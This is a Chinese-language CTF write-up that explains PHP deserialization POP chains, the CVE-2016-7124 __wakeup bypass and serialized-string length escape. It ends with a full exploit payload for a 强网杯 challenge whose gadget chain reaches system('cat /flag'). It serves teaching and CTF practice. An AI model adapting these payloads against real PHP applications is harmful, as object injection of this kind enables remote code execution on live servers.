PHP的反序列化POP链利用研究

0x01 基本概念
POP:Property-Oriented Programming 面向属性编程
POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)
PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用,即所谓的魔法函数
PHP序列化:将PHP变量或对象转换成字符串
PHP反序列化:字符串转换成PHP变量或对象
0x02 PHP序列化与反序列化
写一个简单的demo,类man中有name喝age属性,__construct是魔法函数,在创建对象的时候会调用,serialize()函数就是序列化,var_dump会打印序列化后的字符串
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
}
$man=new man("Bob",5);
var_dump(serialize($man));
$uman=‘O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666‘;
var_dump(unserialize($uman));
?>
打印结果如下:
PHP的反序列化POP链利用研究
O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;},从前往后说,其中O表示对象,3是长度,man是类名,2表示2个属性,大括号内表示属性名和值。
在demo中也可以看到,字符串O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666 依然可以反序列成man对象,且属性与O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}相同,说明在规定语法外添加字符串不影响反序列化的结果。
0x03 __wakeup()魔术方法绕过(CVE-2016-7124)
unserialize()会检查类是否有__wakeup()魔术方法,有的话会先调用该方法,稍微改一下上面的demo,可以看到在反序列化的时候调用了__wakeup魔术方法:
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo ‘Its __wakeup‘;
 }
}
$man=new man("Bob",5);
var_dump(unserialize((serialize($man))
));
?>
CVE-2016-7124漏洞是当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。也就是说,对字符串O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}反序列化时,会不执行__wakeup,较低版本的PHP会有这个漏洞。
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo ‘Its __wakeup‘;
 }
}
$man=new man("Bob",5);
var_dump(unserialize(‘O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}‘)
));
?>
0x04 PHP序列化与反序列化逃逸
看下面的demo
<?php
function filter($string){
  $a = str_replace(‘11‘,‘2‘,$string);
   return $a;
}
$username = ‘111111‘; 
$password="abcdef";
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "\n";
$r = filter($a);
echo $r;echo "\n";
var_dump(unserialize($r));
?>
输出如下:
a:2:{i:0;s:6:"111111";i:1;s:6:"abcdef";}
a:2:{i:0;s:6:"222";i:1;s:6:"abcdef";}
bool(false)
看到在第一个参数找6个字符的时候,第二个字符串反序列化会报错,是由于剩下的字符串不符合语法规则了。
如果说password只能输入字符串类型,但我想将password变成int类型呢?
需要将代码修改如下:
<?php
function filter($string){
  $a = str_replace(‘11‘,‘2‘,$string);
   return $a;
}
$username = ‘111111111111111111111111‘; 
$password=‘";i:1;i:1;}xxx‘;
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "\n";
$r = filter($a);
echo $r;echo "\n";
var_dump(unserialize($r));
?>
PHP的反序列化POP链利用研究
逃逸本质上是由于序列化的时候字符串长度固定了,但是在反序列化之前,会由于各种原因改变字符串的长度,导致反序列化时读取的数据发生了变化,如果经过精心构造格式正确的payload,那么就可以达到逃逸的效果。
0x05 强网杯题目---Web辅助
这个题目是依靠PHP序列化与反序列化逃逸、__wakeup绕过、POP链构造几个点来最终获取flag的。
题目如下:
index.php
...
if (isset($_GET[username]) && isset($_GET[password])){
    $username = $_GET[username];
    $password = $_GET[password];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER[REMOTE_ADDR]), write(serialize($player))); 
    echo sprintf(Welcome %s, your ip is %s\n, $username, $_SERVER[REMOTE_ADDR]);
}
else{
    echo "Please input the username or password!\n";
}
...
common.php
<?php
function read($data){
    $data = str_replace(\0*\0, chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), \0*\0, $data);

    return $data;
}

function check($data)
{
    if(stristr($data, name)!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>
play.php
...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER[REMOTE_ADDR])))));
...
class.php
<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        $this->admin = 1;
        return $this->admin ;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = Riven){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== Yasuo){
            $this->name = Yasuo;
            echo "No Yasuo! No Soul!\n";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, Yasuo)){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>
PHP魔术函数部分使用情况如下:

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

我们可以控制的点是username与password,最终要执行的点是jungle->KS(),查看各个函数间的调用情况,将jungle当作字符串时,会触发__toSrting(),调用KS(),midsolo的name是jungle对象时,Gank()函数会将name当作字符串处理,而topsolo的TP()函数会将其name属性当作函数,这样会执行name的__invoke()函数,发现反序列化此POP链可以获取falg:topsolo(midsolo(jungle()))。
那么怎么通过可以控制的username与password达到反序列化POP链呢?
想到将对象放入到username或password中传到后端,这样反序列化的时候就会调用这个POP链,获取flag了。但是现在还有问题,无法直接传递对象,想到可以用序列化的方式传递
如果反序列化的字符串是O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;},就达到了目的(由于属性是protected,所以属性名是形如 * name这种)。
需要绕过midsolo的__wakeup()---通过CVE-2016-7124改属性个数绕过
反序列化的字符串不允许出现name---通过使用大写的S,十六进制进行绕过
得到想要反序列化的字符串:O:6:"player":3:{s:7:"*user";i:1;;S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;}
又因为read函数会将字符串\0*\0长度由5变成3,可以进行逃逸(不清楚的可仔细看下0x04)
所以最终的利用是username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0;password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}
发送带相应参数的请求后,服务端会将player序列化,反序列化之前会执行read函数,减少字符串长度,吞噬掉password的部分字段,最终导致反序列化了字符串O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;},根据之间的链会调用KS()获取flag。


参考链接:
https://www.freebuf.com/articles/web/247930.html
https://www.cnblogs.com/tr1ple/p/11876441.html

PHP的反序列化POP链利用研究

上一篇:小程序--轮播图


下一篇:小程序云开发初探